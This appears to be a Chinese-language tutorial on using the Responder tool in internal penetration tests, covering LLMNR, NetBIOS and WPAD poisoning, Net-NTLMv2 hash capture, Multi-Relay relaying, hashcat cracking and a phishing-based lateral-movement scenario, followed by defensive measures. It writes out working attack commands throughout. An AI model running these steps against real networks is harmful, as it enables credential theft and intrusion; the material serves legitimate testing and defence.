Responder工具在内网渗透中的应用
Responder工具在内网渗透中的应用
作为网络安全从业者,当我们在内网渗透测试中面临名称解析协议带来的安全风险时,Kali Linux 中的 Responder 工具无疑是不可或缺的利器。这篇技术文章将深入解析 Responder 的工作原理、实战应用及防御策略。
🔍 Responder:内网渗透中的名称解析攻击利器
⚡ 1. Responder 简介与核心原理
Responder 是一款专为内网渗透测试设计的全能工具,其核心能力在于利用 LLMNR(链路本地多播名称解析)、NetBIOS 名称服务(NBT-NS)和 WPAD(Web 代理自动发现协议)等协议的缺陷,通过模拟各种网络服务来捕获认证凭证,从而为内网横向移动打开突破口。
1.1 名称解析协议的安全缺陷
在内网环境中,Windows 系统的名称解析遵循特定顺序:首先查询本地 hosts 文件,然后检查 DNS 缓存,接着向配置的 DNS 服务器发送查询请求。关键问题在于:当 DNS 服务器无法解析某个主机名时,系统会回退到使用 LLMNR 和 NetBIOS 名称服务在本地网络中进行查询。
这些协议的设计缺乏安全认证机制,当客户端广播名称查询请求时,网络上的任何主机都可以响应这些请求,声称自己就是目标机器。攻击者利用这一缺陷,可以欺骗客户端向攻击机器发送认证凭证。
1.2 Responder 的工作方式
Responder 通过监听 LLMNR(IPv4 和 IPv6)、NetBIOS-NS 和 DNS 多播请求,对网络中的所有查询进行恶意响应,将自己声明为被请求的机器。当受害主机连接到攻击者机器时,Responder 会启动一个认证服务器,要求客户端进行身份验证,从而捕获用户的 Net-NTLM Hash。
🔧 2. Responder 的安装与基本使用
2.1 安装与启动
Kali Linux 通常预装了 Responder,如果未安装,可以通过以下命令获取:
sudo apt update
sudo apt install responder
基本启动命令:
responder -I eth0 -wF -v
参数说明:
-I eth0:指定网络接口-F:允许指纹识别-v:详细输出模式

2.2 关键服务配置
运行 Responder 后,它会显示一系列服务的状态(ON/OFF),这些服务包括 SMB、HTTP、SQL、FTP 等。根据测试需求,你可以通过编辑 /etc/responder/Responder.conf 配置文件来启用或禁用特定服务。
例如,在进行 SMB 中继攻击时,通常需要禁用 Responder 自带的 SMB 服务器,以避免冲突。
🎯 3. Responder 攻击实战应用
3.1 LLMNR/NetBIOS 欺骗与 Hash 捕获
这是 Responder 最基础的攻击方式。当内网用户尝试访问不存在的共享资源(如 \\file-share-123)时,由于 DNS 解析失败,系统会回退到 LLMNR 和 NetBIOS 进行名称解析。
攻击步骤:
-
启动 Responder 监听:
responder -I eth0 -v -
诱使目标用户访问错误的主机名或共享资源,例如用户在命令行执行:
dir \\dc\c$或者访问错误的共享文件夹。
-
Responder 会响应这些查询,并提示用户需要认证。
-
当用户尝试认证时,Responder 会捕获到 Net-NTLMv2 Hash。
以下是 Responder 捕获的 Hash 示例格式:
[SMB] NTLMv2-SSP Client : 192.168.10.17
[SMB] NTLMv2-SSP Username : DOMAIN\User
[SMB] NTLMv2-SSP Hash : User::DOMAIN:1122334455667788:2F0CC52...
捕获到的 Hash 会被保存到 /usr/share/responder/logs/ 目录下,命名格式为 (SMBv2-NTLMv2-SSP-192.168.10.17.txt)。
3.2 WPAD 代理欺骗
WPAD 是一种允许浏览器自动发现代理服务器的协议。Windows 系统默认启用此功能,它会尝试在本地网络中查找 wpad.dat 文件。
攻击原理:
- Responder 内置了一个伪造的 WPAD 代理服务器。
- 当目标浏览器尝试查找 WPAD 服务器时,Responder 会响应这些查询。
- 浏览器会使用攻击者提供的
wpad.dat配置文件。 - 所有网络流量将通过攻击者控制的代理服务器路由,从而捕获更多凭据。
启用 WPAD 攻击:
responder -I eth0 -w
结合强制认证选项:
responder -I eth0 -w -F
-F 参数会在浏览器请求 wpad.dat 文件时强制进行 NTLM 认证。
3.3 多种触发方式
除了常见的 net use 命令,还有许多其他命令可以触发名称解析请求,使 Responder 获得 NTLMv2 Hash,包括:
attrib.exe \\hostshare
cacls.exe \\hostshare
certreq.exe \\hostshare
certutil.exe \\hostshare
findstr.exe * \\hostshare
了解这些多种触发方式有助于红队人员在受限环境中灵活运用各种方法触发 Hash 捕获。
🔄 4. 高级攻击技巧
4.1 Multi-Relay 攻击
Responder 的 Multi-Relay 模块是一个强大的功能,它允许将捕获的 NTLM 认证凭据中继到其他目标机器,并在成功认证后执行命令。
攻击准备:
-
在 Responder.conf 中禁用 SMB 和 HTTP 服务器:
SMB = Off HTTP = Off -
启动 Responder 进行毒化攻击:
responder -I eth0 -
在另一个终端启动 Multi-Relay:
python MultiRelay.py -t 192.168.11.17 -u ALL其中
-t指定中继目标,-u ALL表示对所有用户进行尝试。
Multi-Relay 特色功能:
- Mimikatz 集成:在获取 shell 后,可以使用
mimi命令调用 Mimikatz 提取凭据。 - SMB 扫描:快速扫描网络中的其他潜在目标。
- Meterpreter 生成:结合 msf 的 web_delivery 模块,可以生成 Meterpreter 会话。
4.2 针对性攻击
Responder 允许针对特定目标进行攻击,避免对全网造成影响。通过修改 Responder.conf 文件中的 RespondTo 和 RespondToName 参数,可以限制只对特定 IP 或主机名进行响应。
4.3 分析模式
如果你希望观察网络流量而不进行主动攻击,可以使用分析模式:
responder -I eth0 -A
此模式下,Responder 会记录所有的 NBT-NS、LLMNR 和 DNS 请求,但不响应它们,有助于了解网络环境而不产生干扰。
🛡️ 5. 防御与检测策略
了解 Responder 的攻击手段后,作为防御方,我们可以采取以下有效措施:
5.1 禁用有风险的协议
禁用 LLMNR:
通过组策略编辑器(gpedit.msc)导航到:
计算机配置 > 管理模板 > 网络 > DNS 客户端 > 关闭多播名称解析
将其设置为"已启用"。
禁用 NetBIOS over TCP/IP:
- 打开网络连接属性
- 进入 IPv4 属性
- 点击"高级"
- 在 WINS 选项卡中选择"禁用 TCP/IP 上的 NetBIOS"
或者通过注册表禁用:
修改 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\{$InterfaceID}\NetbiosOptions 值为 2。
5.2 强化网络配置
- 启用 SMB 签名:强制要求 SMB 签名可以有效防止 SMB 中继攻击。
- 限制网络流量:使用微隔离技术,按业务逻辑自动划分安全域,限制非授权主机间通信。
- 网络访问控制:实施 802.1X 认证,确保只有授权设备可以接入网络。
5.3 监控与检测
- 监控名称解析请求:特别关注异常的 LLMNR 和 NBT-NS 流量。
- 检测 WPAD 注册:监控网络中异常的 WPAD 服务器注册尝试。
- 实施 EDR 解决方案:使用端点检测与响应(EDR)工具记录进程、文件和注册表活动,构建全生命周期攻击链画像。
📊 实战案例模拟
假设在一个内网渗透测试中,你已获得初始访问权限,想要进行横向移动:
-
信息收集:使用
ifconfig确认内网 IP 段,使用netstat -r查看路由表。 -
启动 Responder:
responder -I eth0 -v -w -F -
诱使目标执行操作:通过钓鱼邮件或其它社会工程学方式,诱使域管理员点击指向不存在共享的链接。
-
捕获 Hash:Responder 捕获到域管理员的 Net-NTLMv2 Hash。
-
破解或中继:
- 使用 Hashcat 尝试破解:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt - 或使用 Multi-Relay 中继到其他重要服务器。
- 使用 Hashcat 尝试破解:
-
权限提升:在成功中继的机器上使用 Mimikatz 提取凭据,继续横向移动。
💎 总结
Responder 作为内网渗透中的强大工具,充分利用了名称解析协议的设计缺陷。作为渗透测试人员,掌握 Responder 的使用方法对于评估内网安全至关重要;作为蓝队成员,了解其工作原理则有助于制定有效的防御策略。
记住,这些技术只应在获得明确授权的渗透测试或教育目的中使用。在未授权的情况下使用这些技术可能违反法律。
防御方应重点关注:禁用不必要的名称解析协议、实施网络分段、启用强认证机制和持续监控网络异常活动,这样才能有效防范 Responder 带来的安全风险。
